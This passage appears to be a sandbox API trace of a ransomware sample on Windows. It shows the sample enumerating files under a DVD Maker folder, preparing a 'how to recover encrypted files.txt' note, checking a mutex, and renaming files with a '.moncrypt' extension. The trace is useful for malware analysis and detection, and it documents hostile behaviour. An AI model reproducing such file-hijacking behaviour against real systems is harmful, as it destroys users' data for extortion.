lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png", cchWideChar=92, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.pnge", lpUsedDefaultChar=0x0) returned 92 [0057.591] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\FlipPage\\NavigationRight_SelectionSubpicture.pnge", lpUsedDefaultChar=0x0) returned 4 [0057.591] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0057.591] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.591] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.591] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.591] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0057.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.592] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png.moncrypt")) returned 0 [0057.593] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.593] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.593] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.593] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.593] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.593] GlobalUnlock (hMem=0x44000c) returned 0 [0057.593] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.593] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.593] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.593] GlobalUnlock (hMem=0x44000c) returned 0 [0057.593] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.593] GlobalUnlock (hMem=0x440004) returned 0 [0057.593] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.593] CharLowerBuffW (in: lpsz="NavigationUp_ButtonGraphic.png", cchLength=0x1e | out: lpsz="navigationup_buttongraphic.png") returned 0x1e [0057.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png", cchWideChar=83, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 83 [0057.594] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\FlipPage\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0057.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0057.595] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.595] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.595] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.595] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0057.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.596] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png.moncrypt")) returned 0 [0057.596] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.596] FileTimeToLocalFileTime (in: 